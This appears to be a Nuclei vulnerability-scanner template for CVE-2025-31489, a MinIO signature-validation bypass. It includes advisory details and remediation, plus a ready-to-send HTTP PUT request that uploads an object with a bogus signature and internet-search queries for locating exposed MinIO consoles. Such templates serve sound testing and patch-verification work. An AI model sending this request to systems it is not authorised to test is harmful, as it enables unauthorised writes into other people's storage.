id: CVE-2025-31489 info: name: MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads author: iamnoooob,rootxharsh,pdresearch severity: high description: | MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access to - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl. impact: | Attackers with knowledge of valid access keys can upload arbitrary objects to MinIO buckets using invalid signatures, potentially compromising data integrity and availability. remediation: | This issue is fixed in RELEASE.2025-04-03T14-56-28Z. reference: - https://github.com/minio/minio/pull/21103 - https://github.com/minio/minio/security/advisories/GHSA-wg47-6jq2-q2hh classification: epss-score: 0.01389 epss-percentile: 0.80676 metadata: verified: true max-request: 1 vendor: minio product: console shodan-query: http.title:"minio console" fofa-query: - app="minio-console" - title="minio console" google-query: intitle:"minio console" tags: cve,cve2025,minio,signature-bypass,intrusive,vuln variables: bucket: "{{bucket}}" access_key_id: "{{access_key_id}}" object: "{{randstr}}.txt" region: "" http: - raw: - | PUT /{{bucket}}/{{object}} HTTP/1.1 Host: {{Hostname}} x-amz-content-sha256: STREAMING-UNSIGNED-PAYLOAD-TRAILER Authorization: Credential={{access_key_id}}/{{date_time("%Y%M%D")}}/{{region}}/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=test X-Amz-Decoded-Content-Length: 8 Content-Encoding: aws-chunked X-Amz-Trailer: x-amz-checksum-crc32 Transfer-Encoding: chunked Trailer: x-amz-trailer-signature 8 {{rand_text_alphanumeric(8)}} 0 matchers: - type: dsl dsl: - 'contains_all(to_lower(header), "x-amz-id", "x-amz-request-id")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100e1a87065233bf372d69af05616d4dc062ee3a35104a5536c6ca3efac05cf0ee4022100b9100c898eb73f36d8b07a2a606e1214313c7a2da64f08dd902febc1103f404e:922c64590222798bb761d5b6d8e72950